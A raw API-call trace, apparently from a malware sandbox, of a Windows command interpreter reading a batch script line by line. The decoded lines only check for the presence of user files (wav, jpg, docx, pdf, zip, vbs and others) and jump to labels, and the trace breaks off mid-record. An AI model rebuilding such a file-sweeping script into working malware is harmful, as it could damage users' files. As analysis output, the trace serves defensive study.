[0037.381] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.381] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf2e [0037.381] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.381] GetFileType (hFile=0x74) returned 0x1 [0037.381] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf2e [0037.381] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.381] SetFilePointer (in: hFile=0x74, lDistanceToMove=3911, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf47 [0037.381] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.wav goto wav\r\n\r\n") returned 25 [0037.381] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.381] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf47 [0037.381] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.381] GetFileType (hFile=0x74) returned 0x1 [0037.381] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf47 [0037.381] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.381] SetFilePointer (in: hFile=0x74, lDistanceToMove=3913, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf49 [0037.382] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n EXIST *.wav goto wav\r\n") returned 2 [0037.382] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.382] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf49 [0037.382] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.382] GetFileType (hFile=0x74) returned 0x1 [0037.382] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf49 [0037.382] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.382] SetFilePointer (in: hFile=0x74, lDistanceToMove=3938, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf62 [0037.382] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.jpg goto jpg\r\n") returned 25 [0037.382] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.382] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf62 [0037.382] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.382] GetFileType (hFile=0x74) returned 0x1 [0037.382] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf62 [0037.382] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.382] SetFilePointer (in: hFile=0x74, lDistanceToMove=3940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf64 [0037.382] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n EXIST *.jpg goto jpg\r\n") returned 2 [0037.382] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.382] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf64 [0037.382] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.382] GetFileType (hFile=0x74) returned 0x1 [0037.382] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf64 [0037.382] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.383] SetFilePointer (in: hFile=0x74, lDistanceToMove=3965, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf7d [0037.383] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.png goto png\r\n") returned 25 [0037.383] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.383] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf7d [0037.383] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.383] GetFileType (hFile=0x74) returned 0x1 [0037.383] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf7d [0037.383] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.383] SetFilePointer (in: hFile=0x74, lDistanceToMove=3967, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf7f [0037.383] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n EXIST *.png goto png\r\n") returned 2 [0037.383] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.383] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf7f [0037.383] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.383] GetFileType (hFile=0x74) returned 0x1 [0037.383] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf7f [0037.383] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.383] SetFilePointer (in: hFile=0x74, lDistanceToMove=3992, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf98 [0037.383] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.htm goto htm\r\n") returned 25 [0037.384] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.384] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf98 [0037.384] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.384] GetFileType (hFile=0x74) returned 0x1 [0037.384] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf98 [0037.384] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.384] SetFilePointer (in: hFile=0x74, lDistanceToMove=3994, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xf9a [0037.384] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\n EXIST *.htm goto htm\r\n") returned 2 [0037.384] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.384] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf9a [0037.384] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.384] GetFileType (hFile=0x74) returned 0x1 [0037.384] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xf9a [0037.384] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.384] SetFilePointer (in: hFile=0x74, lDistanceToMove=4021, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfb5 [0037.384] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=27, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.html goto html\r\n") returned 27 [0037.384] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.384] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xfb5 [0037.384] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.384] GetFileType (hFile=0x74) returned 0x1 [0037.384] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xfb5 [0037.384] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.385] SetFilePointer (in: hFile=0x74, lDistanceToMove=4046, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfce [0037.385] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.url goto url\r\n\r\n") returned 25 [0037.385] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.385] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xfce [0037.385] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.385] GetFileType (hFile=0x74) returned 0x1 [0037.385] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xfce [0037.385] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.385] SetFilePointer (in: hFile=0x74, lDistanceToMove=4071, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfe7 [0037.385] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF EXIST *.gif goto gif\r\n") returned 25 [0037.385] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.385] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xfe7 [0037.385] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.385] GetFileType (hFile=0x74) returned 0x1 [0037.385] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xfe7 [0037.385] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.385] SetFilePointer (in: hFile=0x74, lDistanceToMove=4099, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1003 [0037.385] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.gif goto l2\r\n") returned 28 [0037.385] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.385] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1003 [0037.385] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.385] GetFileType (hFile=0x74) returned 0x1 [0037.385] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1003 [0037.386] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.386] SetFilePointer (in: hFile=0x74, lDistanceToMove=4127, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x101f [0037.386] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.url goto l2\r\n") returned 28 [0037.386] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.386] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x101f [0037.386] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.386] GetFileType (hFile=0x74) returned 0x1 [0037.386] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x101f [0037.386] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.386] SetFilePointer (in: hFile=0x74, lDistanceToMove=4155, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x103b [0037.386] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.zip goto l2\r\n") returned 28 [0037.386] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.386] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x103b [0037.386] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.386] GetFileType (hFile=0x74) returned 0x1 [0037.386] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x103b [0037.386] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.386] SetFilePointer (in: hFile=0x74, lDistanceToMove=4183, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1057 [0037.386] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.rar goto l2\r\n") returned 28 [0037.386] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.386] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1057 [0037.386] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.386] GetFileType (hFile=0x74) returned 0x1 [0037.387] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1057 [0037.387] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.387] SetFilePointer (in: hFile=0x74, lDistanceToMove=4211, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1073 [0037.387] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.ink goto l2\r\n") returned 28 [0037.387] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.387] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1073 [0037.387] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.387] GetFileType (hFile=0x74) returned 0x1 [0037.387] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1073 [0037.387] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.387] SetFilePointer (in: hFile=0x74, lDistanceToMove=4239, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x108f [0037.387] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.txt goto l2\r\n") returned 28 [0037.387] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.387] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x108f [0037.387] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.387] GetFileType (hFile=0x74) returned 0x1 [0037.387] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x108f [0037.387] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.387] SetFilePointer (in: hFile=0x74, lDistanceToMove=4267, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10ab [0037.387] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.pdf goto l2\r\n") returned 28 [0037.387] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.387] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10ab [0037.388] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.388] GetFileType (hFile=0x74) returned 0x1 [0037.388] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10ab [0037.388] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.388] SetFilePointer (in: hFile=0x74, lDistanceToMove=4295, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10c7 [0037.388] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.vbs goto l2\r\n") returned 28 [0037.388] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.388] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10c7 [0037.388] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.388] GetFileType (hFile=0x74) returned 0x1 [0037.388] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10c7 [0037.388] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.388] SetFilePointer (in: hFile=0x74, lDistanceToMove=4324, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10e4 [0037.388] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.docx goto l2\r\n\n") returned 29 [0037.388] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.388] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10e4 [0037.388] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.388] GetFileType (hFile=0x74) returned 0x1 [0037.388] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10e4 [0037.388] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.388] SetFilePointer (in: hFile=0x74, lDistanceToMove=4352, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1100 [0037.388] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.doc goto l2\r\n\n") returned 28 [0037.388] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.389] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1100 [0037.389] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.389] GetFileType (hFile=0x74) returned 0x1 [0037.389] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1100 [0037.389] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.389] SetFilePointer (in: hFile=0x74, lDistanceToMove=4380, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x111c [0037.389] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.mp4 goto l2\r\n") returned 28 [0037.389] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.389] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x111c [0037.389] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.389] GetFileType (hFile=0x74) returned 0x1 [0037.389] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x111c [0037.389] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0037.389] SetFilePointer (in: hFile=0x74, lDistanceToMove=4408, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1138 [0037.389] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.mp3 goto l2\r\n") returned 28 [0037.389] _get_osfhandle (_FileHandle=3) returned 0x74 [0037.389] 